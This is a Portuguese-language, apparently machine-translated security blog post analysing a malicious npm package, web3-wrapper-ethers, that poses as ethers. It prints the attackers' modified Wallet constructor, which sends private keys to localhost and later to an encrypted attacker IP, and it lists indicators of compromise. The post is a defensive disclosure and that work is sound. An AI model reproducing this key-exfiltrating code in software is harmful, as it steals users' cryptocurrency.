Na semana passada, o nosso pipeline de análise automática de malware assinalou um pacote suspeito web3-wrapper-ethers
. O pacote faz-se passar pelo popular éteres
e contém código ofuscado concebido para roubar chaves privadas. A nossa investigação revelou que o pacote pode estar associado ao agente da ameaça conhecido como Dokkaebi nulo
, um grupo conhecido por roubar criptomoedas de programadores envolvidos no desenvolvimento de tecnologias web3, blockchain e criptomoedas.
O pacote
O pacote foi inicialmente lançado em 5 de junho às 12:45 AM GMT+0:

Vemos alguns sinais reveladores de que este pacote foi construído para enganar. O nome do pacote é web3-wrapper-ethers
, mas o campo do repositório aponta para o éteres.js
no GitHub. De facto, os atacantes simplesmente copiaram o repositório e fizeram pequenas modificações. Lançaram um total de 5 versões no espaço de um dia.
O autor
O pacote foi lançado por kaufman0913
, com o correio eletrónico correspondente de kaufman0913@gmail[.]com
.

A escolha de uma imagem de Rapunzel de muito baixa resolução é... interessante. Mas não nos vamos deixar levar por isso para já.
O que é que o pacote faz?
Para descobrir o que o pacote está a tentar fazer, descarregámos uma cópia da última versão do ethers e fizemos uma comparação com ela para ver o que os atacantes tinham feito.
Observámos que as versões 6.14.3
e 6.14.4
não tiveram modificações efectivas em nenhum código, apenas alteraram o nome do pacote.
As coisas começam a mudar na versão 6.14.5
onde vemos que eles adicionaram uma nova dependência no package.json
, acrescentando busca de nós
e o correspondente @tipos/node-fetch
devDependência
. Veremos porquê em breve.
O ficheiro principal que o programador modificou é o ficheiro src.ts/wallet/wallet.ts
o que também leva a alterações em lib.esm/wallet/wallet.js
e lib.commonjs/wallet/wallet.js
que são as versões compiladas correspondentes do mesmo ficheiro.
Vemos em 6.14.5
que alteraram o construtor da classe, acrescentando tudo o que está abaixo do super()
chamada::
export class Wallet extends BaseWallet {
/** * Create a new wallet for the private %%key%%, optionally connected * to %%provider%%. */
constructor(key: string | SigningKey, provider?: null | Provider) {
if (typeof(key) === "string" && !key.startsWith("0x")) {
key = "0x" + key;
}
let signingKey = (typeof(key) === "string") ? new SigningKey(key): key;
super(signingKey, provider);
// Send private key to server (Node.js and browser)
const url = 'http://localhost:3000/save-key';
if (typeof window === "undefined") {
// Node.js environment: use dynamic import for node-fetch
import('node-fetch').then(module => {
const fetch = module.default;
fetch(url, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ privateKey: this.privateKey })
})
.catch(() => {});
}).catch(() => {});
} else {
// Browser environment: use native fetch
fetch(url, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ privateKey: this.privateKey })
})
// .then(data => console.log('Server response:', data))
.catch(() => {});
}
}
...
Aqui vemos um sinal revelador de que estão a tentar exfiltrar chaves privadas. De facto, os seus comentários são muito claros quando dizem que estão a enviar a chave privada para um servidor. Mas está a apontar para um endereço local. Portanto, estão a fazer isto em tempo real, o que é bom. Dá-nos uma ideia do seu processo de desenvolvimento.
Em 6.14.6
O código muda. Agora tem o seguinte aspeto:
// Send private key to server (Node.js and browser)
const enc = "ff47554247f2094dda55b84b7da6e6c9:fd81fc4d8379f535510c1f064549472e5a1dd26c32c1937c1e23db1b56bfb42f"
const tar = dec(enc);
console.log(tar);
if (typeof window === "undefined") {
import('node-fetch').then(module => {
const fetch = module.default;
fetch(tar, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ pk: this.privateKey })
})
.catch(() => {});
}).catch(() => {});
} else {
fetch(tar, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ pk: this.privateKey })
})
.catch(() => {});
}
Então, o que está por detrás da variável enc encriptada? Aqui está!
http:/74.119.194[.]244/fetch
Vê alguma coisa estranha? É um URL HTTP inválido. Está a faltar um /
no protocolo. Ops!
O último lançamento, 6.14.7
não introduz quaisquer alterações significativas. Simplesmente remove o comentário no código e o console.log. Os atacantes devem ter imaginado que já tinham terminado, pelo que puderam remover a admissão de que era malicioso e o registo de depuração. No entanto, não resolveram o problema de o URL ainda ser inválido.
Os norte-coreanos estão a fazer o mesmo?
Há apenas alguns meses, descobrimos que hackers norte-coreanos estão a tentar roubar carteiras de criptomoedas. Também lançaram versões em tempo real, depurando o seu código quebrado. É curioso ver isto a acontecer novamente, não é? Pelo menos desta vez, a primeira coisa que eles fizeram foi incluir o node-fetch, em vez de ficarem batendo a cabeça na parede tentando descobrir por que o áxis
as chamadas não estavam a funcionar.
Neste caso, temos outro elemento de informação, o IP. Uma rápida pesquisa no VirusTotal para o IP confirma a nossa suspeita:

O comentário faz referência:
https://documents.trendmicro.com/assets/txt/IOCs_VoidDokkaebi_2t9ScKI5.txt
https://www.trendmicro.com/en_us/research/25/d/russian-infrastructure-north-korean-cybercrime.html
E, de facto, vemos que a lista IOC da TrendMicro menciona este IP como sendo um nó Egress: Atividade alinhada com a RPDC, através de RDP a partir de endereços IP da RU
. E os seus relatórios extensivos estão muito em linha com o que vemos neste pacote: Visando os programadores envolvidos com web3/criptografia, tentando roubar moeda.
Indicadores de compromisso
Felizmente, não há indicação de que este pacote possa ter causado danos se for descarregado e/ou executado, dado que o código não estava totalmente funcional. Mas se instalou o pacote, faça uma auditoria ao tráfego para o IP abaixo para ter a certeza de que não foram causados danos. Se notar algum tráfego para este endereço IP, presuma que as suas chaves criptográficas foram comprometidas.
Embalagem:
web3-wrapper-ethers
IP:
74.119.194[.]244
Veja mais sobre a investigação da Aikido Security aqui.